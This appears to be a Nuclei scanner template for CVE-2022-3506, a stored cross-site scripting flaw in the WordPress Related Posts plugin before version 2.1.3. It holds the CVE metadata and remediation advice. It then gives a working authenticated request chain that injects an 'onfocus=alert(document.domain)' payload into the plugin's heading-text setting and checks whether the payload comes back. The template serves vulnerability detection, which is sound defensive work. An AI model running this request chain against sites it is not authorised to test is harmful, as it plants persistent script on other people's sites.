WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting

id: CVE-2022-3506

info:
  name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that  can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3506
    cwe-id: CWE-79
    epss-score: 0.01625
    epss-percentile: 0.76339
    cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: never5
    product: related_posts
    framework: wordpress
  tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
      - |
        GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
          - "contains(body_4, 'The amount of automatically')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
        internal: true
        part: body